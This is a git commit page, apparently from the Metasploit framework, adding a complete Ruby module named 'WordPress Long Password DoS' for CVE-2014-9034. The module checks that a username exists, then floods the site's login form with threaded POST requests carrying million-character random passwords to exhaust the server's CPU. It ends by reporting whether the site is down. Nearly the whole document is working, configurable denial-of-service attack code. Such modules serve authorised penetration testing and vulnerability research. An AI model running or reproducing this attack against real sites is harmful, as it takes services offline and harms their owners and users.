Add WordPress long password DoS module
parent
327f2839bb
commit
39412c4a48
|
@ -0,0 +1,145 @@
|
||||||
|
##
|
||||||
|
# This module requires Metasploit: http//www.metasploit.com/download
|
||||||
|
# Current source: https://github.com/rapid7/metasploit-framework
|
||||||
|
##
|
||||||
|
|
||||||
|
require 'msf/core'
|
||||||
|
|
||||||
|
class Metasploit3 < Msf::Auxiliary
|
||||||
|
include Msf::HTTP::Wordpress
|
||||||
|
include Msf::Auxiliary::Dos
|
||||||
|
|
||||||
|
def initialize(info = {})
|
||||||
|
super(update_info(
|
||||||
|
info,
|
||||||
|
'Name' => 'WordPress Long Password DoS',
|
||||||
|
'Description' => 'WordPress before 3.7.5, 3.8.x before 3.8.5, 3.9.x before 3.9.3, and 4.x before 4.0.1 allows remote attackers to cause a denial of service (CPU consumption) via a long password that is improperly handled during hashing.',
|
||||||
|
'License' => MSF_LICENSE,
|
||||||
|
'Author' =>
|
||||||
|
[
|
||||||
|
'Javier Nieto Arevalo', # Vulnerability disclosure
|
||||||
|
'Andres Rojas Guerrero', # Vulnerability disclosure
|
||||||
|
'Rob Carr <rob[at]rastating.com>' # Metasploit module
|
||||||
|
],
|
||||||
|
'References' =>
|
||||||
|
[
|
||||||
|
['URL', 'http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-9034'],
|
||||||
|
['OSVDB', '114857'],
|
||||||
|
['WPVDB', '7681']
|
||||||
|
],
|
||||||
|
'DisclosureDate' => 'Nov 20 2014'
|
||||||
|
))
|
||||||
|
|
||||||
|
register_options(
|
||||||
|
[
|
||||||
|
OptInt.new('PLENGTH', [true, 'Length of password to use', 1000000]),
|
||||||
|
OptInt.new('RLIMIT', [true, 'The number of requests to send', 1000]),
|
||||||
|
OptInt.new('THREADS', [true, 'The number of concurrent threads', 5]),
|
||||||
|
OptString.new('USERNAME', [true, 'The username to send the requests with', '']),
|
||||||
|
OptBool.new('VALIDATE_USER', [true, 'Validate the specified username', true])
|
||||||
|
], self.class)
|
||||||
|
end
|
||||||
|
|
||||||
|
def rlimit
|
||||||
|
datastore['RLIMIT']
|
||||||
|
end
|
||||||
|
|
||||||
|
def plength
|
||||||
|
datastore['PLENGTH']
|
||||||
|
end
|
||||||
|
|
||||||
|
def username
|
||||||
|
datastore['USERNAME']
|
||||||
|
end
|
||||||
|
|
||||||
|
def validate_user
|
||||||
|
datastore['VALIDATE_USER']
|
||||||
|
end
|
||||||
|
|
||||||
|
def thread_count
|
||||||
|
datastore['THREADS']
|
||||||
|
end
|
||||||
|
|
||||||
|
def wordpress_long_password_post_data(user, pass, redirect)
|
||||||
|
post_data = {
|
||||||
|
'log' => user.to_s,
|
||||||
|
'pwd' => pass.to_s,
|
||||||
|
'redirect_to' => redirect.to_s,
|
||||||
|
'reauth' => 1,
|
||||||
|
'testcookie' => '1',
|
||||||
|
'wp-submit' => 'Login'
|
||||||
|
}
|
||||||
|
|
||||||
|
post_data
|
||||||
|
end
|
||||||
|
|
||||||
|
def wordpress_long_password_login(user, pass)
|
||||||
|
begin
|
||||||
|
redirect = "#{target_uri}wp-admin/"
|
||||||
|
res = send_request_cgi(
|
||||||
|
'method' => 'POST',
|
||||||
|
'uri' => wordpress_url_login,
|
||||||
|
'vars_post' => wordpress_long_password_post_data(user, pass, redirect)
|
||||||
|
)
|
||||||
|
|
||||||
|
return res
|
||||||
|
rescue
|
||||||
|
return nil
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
def user_exists(user)
|
||||||
|
exists = wordpress_user_exists?(user)
|
||||||
|
if exists
|
||||||
|
print_good("#{peer} - Username \"#{username}\" is valid")
|
||||||
|
report_auth_info(
|
||||||
|
:host => rhost,
|
||||||
|
:sname => (ssl ? 'https' : 'http'),
|
||||||
|
:user => user,
|
||||||
|
:port => rport,
|
||||||
|
:proof => "WEBAPP=\"Wordpress\", VHOST=#{vhost}"
|
||||||
|
)
|
||||||
|
|
||||||
|
return true
|
||||||
|
else
|
||||||
|
print_error("#{peer} - \"#{user}\" is not a valid username")
|
||||||
|
return false
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
def run
|
||||||
|
if wordpress_and_online?
|
||||||
|
if validate_user
|
||||||
|
print_status("#{peer} - Checking if user \"#{username}\" exists...")
|
||||||
|
unless user_exists(username)
|
||||||
|
print_error('Aborting operation - a valid username must be specified')
|
||||||
|
return
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
starting_thread = 1
|
||||||
|
while starting_thread < rlimit do
|
||||||
|
ubound = [rlimit - (starting_thread - 1), thread_count].min
|
||||||
|
print_status("#{peer} - Executing requests #{starting_thread} - #{(starting_thread + ubound) - 1}...")
|
||||||
|
|
||||||
|
threads = (1..ubound).map do |i|
|
||||||
|
Thread.new(i) do |i|
|
||||||
|
wordpress_long_password_login(username, Rex::Text.rand_text_alpha(plength))
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
threads.each(&:join)
|
||||||
|
print_good("#{peer} - Finished executing requests #{starting_thread} - #{(starting_thread + ubound) - 1}")
|
||||||
|
starting_thread += ubound
|
||||||
|
end
|
||||||
|
|
||||||
|
if wordpress_and_online?
|
||||||
|
print_error("#{peer} - FAILED: #{target_uri} appears to still be online")
|
||||||
|
else
|
||||||
|
print_good("#{peer} - SUCCESS: #{target_uri} appears to be down")
|
||||||
|
end
|
||||||
|
else
|
||||||
|
print_error("#{rhost}:#{rport}#{target_uri} does not appear to be running WordPress")
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
Loading…
Reference in New Issue